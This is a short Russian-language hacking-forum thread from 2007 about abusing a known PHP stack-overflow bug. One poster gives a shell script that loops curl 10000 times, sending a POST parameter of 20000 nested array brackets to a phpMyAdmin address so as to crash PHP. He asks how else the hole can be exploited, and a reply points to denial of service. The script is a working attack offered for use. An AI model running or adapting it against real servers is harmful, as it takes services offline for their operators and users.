Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Что можно сделать, если удалённо вызвать в Php переполнение стека? (https://forum.antichat.xyz/showthread.php?t=35433)

pento 13.03.2007 21:02
Что можно сделать, если удалённо вызвать в Php переполнение стека?
 
Собственно
есть
http://www.php-security.org/MOPB/MOPB-02-2007.html
и есть бажный код.

Пока додумался только до

Код:
#!/bin/sh
foo="curl http://xxx.xxx.xx.xx/phpmyadmin/ -d a"`php -r 'echo str_repeat("[a]",20000);'`"=1"
for i in `seq 1 10000`; do
    `$foo`;
done
Может ещё чего можно интересного замутить, используя дыру эту?

genom-- 13.03.2007 22:01
отказ в обслуживании можно замутить -- прикиньте


Время: 19:59